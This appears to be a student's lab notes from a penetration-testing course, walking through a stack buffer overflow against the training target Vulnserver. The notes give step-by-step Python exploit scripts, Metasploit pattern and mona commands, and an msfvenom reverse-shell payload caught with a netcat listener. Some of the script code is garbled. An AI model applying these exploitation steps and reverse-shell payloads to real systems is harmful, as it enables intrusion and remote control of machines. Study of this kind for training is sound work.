TCM PEH Manual Buffer Overflow Notes

on under certs
13 minute read

Intro to Buffer Overflows Notes

Required Installations

Windows 7, 8.1, or 10
Within that, Vulnserver (
Download as a zip from github, exctract to C:
Immunity Debugger (
Install to C:

BOF Explained

Anatomy of Memory
ESP (Ext Stack Ptr)
Buffer Space
EBP (Ext Base Ptr)
EIP (Ext Instr Ptr)/Return Address}

Ideally, the Buffer Space should be able to take a bunch of characters, but should STOP before EBP starts.
Buffer Space[AA
Get a payload into the EIP and you have a BOF
Kind of.
You still have to find vulnerable, non-protected modules within the binary to do a jump call to, then do some padding (nop sled), and where you then end up is where you execute reverse shell payload.

Steps to conduct a BOF

  1. Spiking
  2. Fuzzing
  3. Finding the Offset
  4. Overwriting the EIP
  5. Finding bad chars
  6. Finding the right Module
  7. Generating Shellcode
  8. Root!

BOF Spiking

NOTE: The following process must be performed after each run at the vulnserver, in order to re-attach immunity and debug properly!!!

Rclick vunserver, run as Admin

Run Immunity as Admin

In Immunity click File>Attach

Scroll down, click Vulnserver

Click Start/Play button

Move to Kali machine
Vulnserver runs on tcp 9999
nc -nv <winIP>:9999
The TRUN command is vulnerable, here.
STATS is not vulnerable.
Let’s look at STATS first, and compare.
generic_send_tcp requires <port> <spike_script> <SKIPVAR> <SKIPSTR>

This is in the demo spike_strip, named stats.spk

So when this is sent, it will send a ton of characters, then even more chars, then even more more chars, to see where things break.

generic_send_tcp 192.168.x.x 9999 stats.spk 0 0
In Immunity, server is taking commands but nothing is happening during the spike.

So for the TRUN command, the spike_strip is:

generic_send_tcp 192.168.x.x 9999 trun.spk 0 0
In immunity, server is taking commands then almost immediatey crashes.
ctrl+c the generic_send_tcp
Looking in Immunity, TRUN sends AAAAAAAA to buffer, at EAX, then down in ESP there are a ton more ASCII AAAAAA’s
Below the ESP, the EBP is 41414141, which is AAAA
Below the EBP, the EIP is 41414141, which is AAAA, therefore we can write right through to the EIP.

So I guess now, it’s “how many characters does it take to get to the beginning of the EIP?”


Fuzzing is similar to Spiking, but is different? Seems like it’s just that Spiking is specifically one method and Fuzzing is multiple variables or methods. But I’m not clear on that.

Demo is a

import sys, socket  
from time import sleep  
buffer = A * 100  
while True:  
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  # create socket connection  
        s.connect(('192.168.x.x,9999'))  # point the socket connection to vulnserver  
        s.send(('TRUN /.:/ ' + buffer)) # Added the .: just because we saw that it runs when we send TRUN before the chars begin.  
        buffer = buffer + A*100 # If 100 wasn't enough, let's grow exponentially  
        print Fuzzing crashed at %s bytes % str(len(buffer)) # (len(var)) will run funct Length on variable Buffer and should tell us the position that broke things.    

chmod +x
In immunity, vulnserver starts receiving connections then crashes
ctrl+c to stop
Output: Fuzzing crashed at 2700 bytes
Looking in Immunit, doesn’t look ike EIP was overwritten
He says, round it up to about 3000 bytes
So about 3000 will crash out of the buffer, I guess more will get us to EIP.

Finding the Offset

Looking for the EIP
Tool in MSF is pattern_create
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 // -l is Length
Hit enter
It generates a crazy cyclical code that will have to be sent into server. We will later come back and feed a new value back to the tool to find the offset, because maths.

New demo script, named

import sys, socket  
offset = "<paste code here>"  
    s.send(('TRUN /.:/ ' + offset)) # send the value  
    print Error connecting to server  
    sys.exit() # then close the connection, we'll use tool to find offset based on char pattern  

chmod +x
In immunity, server starts accepting connections and immediately crashes.
Looks like it is going right through EBP and into the EIP.
What we’re looking for is the hex value in EIP (386F4337)
Go back to terminal
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 386F4337
Hit enter
If we did it right, that pattern will have an output of [*] Exact match at offset 2003
Now we can test. There are 2003 bytes before EIP, then bytes 2004, 2005, 2006, 2006 are the EIP.
Interesting, that is a small chunk of code to fit a shell or new pointer in.

Overwriting the EIP

Alter the demo script

import sys, socket  
shellcode = A*2003 + B * 4 # offset filler up to EIP, then 4 B's within EIP to check our work
    s.send(('TRUN /.:/ ' + shellcode))  
    print Error connecting to server  

chmod +x
In immunity, server accepts and crashes
Looking in Immunity, AAAA’s are send to buffer
EBP gets filled with 41414141 (AAAA)
EIP gets filled with 42424242 (BBBB), exactly 4 B’s.
Our offset is perfect.
So now we look for bad characters to see what we CANNOT send to EIP to prevent blindly crashing with our payload.

Finding Bad Chars

We need to generate shellcode
We need to find outt what characters are good for the shellcode
We need to find out what characters are bad for the shellcode
This stuff will be hex
By default, null byte is a bad char

Google badchars (
Copy/paste the badChars variable into previous and edit like so:

import sys, socket  
badChars = (  
shellcode = A*2003 + badChars # offset filler up to EIP, then badChars in EIP  
    s.send(('TRUN /.:/ ' + shellcode))  
    print Error connecting to server  

Save it
Run it with Immuity attached to vulnserver
In immunity, r-click the EIP, click Follow in Dump
Look at the hex dump
The last thing sent in badChars is xff, ie. FF and FF is present in EIP dump
We’re looking at what’s missing or out of place from the hexdump, like in this pic
The badChars is just all Hex listed from 01 to FF (00 is always bad, no point in confirming). Which ever chars are missing (replaced with some other weird hex char) is a bad character.

Write down the bad characters.
They will ALL HAVE TO GO into shellcode that we generate later.

Finding the Right Module

There’s a tool called that works with immunity (
Follow the instructions in the above jump to install

After installing, start vulnserver again, attach Immunity again
In immunity, at the very bottom text bar, type
!mona modules
and hit enter
A new pane will pop up with a table of Module info.
We’re looking for something that’s:

  1. Attached to vulnserver and
  2. Is all Falses.
    False means not protected, True means protected.
    See pic

Now we need to figure out what op code JMP ESP is, so we can use it to point the BOF to a larger shell code space.
In terminal,
locate nasm_shell
nasm > JMP ESP
00000000 FFE4 jmp esp
So the opcode equivalent to a jmp esp code is FFE4
Go back to immunity

in bottom, type
!mona find -s “\xff\xe4”-m essfunc.dll
\xff\xe4 = FFE4 (jmp esp)
-s = search
-m = module
essfunc.dll = the unprotected module found from !mona modules
In the results, you’ll see the first column in table is locations for FFE4 pointers


Back in terminal,
edit the script as:

import sys, socket  
shellcode = A*2003 + \xaf\x11\x50\x62 # ← this is the 625011af first pointer in first column from the !mona find results above (litte endian because binary is 32-bit x86 so the nibbles go in reverse order)  
    s.send(('TRUN /.:/ ' + shellcode))  
    print Error connecting to server  

Save and close.

Back in immunity,
click the Follow Expression arrow and enter the essfunc.dll pointer 625011af as in pic imageJ
Immunity will jump to that position in the code, it should be a JMP ESP call.
Press F2 to set break point at that position.
Now when we run the program, IF jumps to that call, then the program will halt.
So this is all a confirmation phase.
Run vulnserver, run
In immunity, vulnserver did stop at 625011af.
So we can write to EIP, then jump to this position from EIP.

Now what? Do we then write into that position, or what? I don’t know, yet.

Generating Shellcode & Gaining Root

Let’s see where this process goes.

msfvenom -p windows/shell_reverse_tcp LHOST=<our ip> LPORT=4444 EXITFUNC=thread -f -c -a x86 -b “\x00<and any other bad chars>”
Take note of payload size. This one is 351 bytes.
Copy the payload
Edit as:

import sys, socket  
overflow = (  
"paste the actual payload hex here")  
shellcode = A*2003 + \xaf\x11\x50\x62 + \x90 + 32 + overflow # “\x90” + 32 is a NOPslide, it's padding to get us past any other NOP calls before calling the payload.    
    s.send(('TRUN /.:/ ' + shellcode))  
    print Error connecting to server  

Save and close.

In terminal, open nc listener
nc -lvnp 4444
Run vulnserver as Admin again
check netcat listener, has a shell
(admin, because it ran as Admin through vulnserver)

BOF Achieved

comments powered by Disqus